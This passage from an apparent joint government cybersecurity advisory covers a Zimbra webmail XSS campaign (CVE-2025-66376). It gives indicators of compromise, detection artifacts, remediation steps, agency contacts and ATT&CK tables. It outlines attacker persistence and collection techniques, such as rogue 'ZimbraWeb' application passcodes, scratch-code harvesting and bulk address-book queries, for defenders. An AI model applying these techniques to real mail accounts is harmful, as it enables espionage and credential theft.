<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
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<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
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<p><strong>Moldovan organizations </strong></p>
</div>
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<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
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<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
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<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
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<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
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<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
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<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
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<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
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<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
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<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
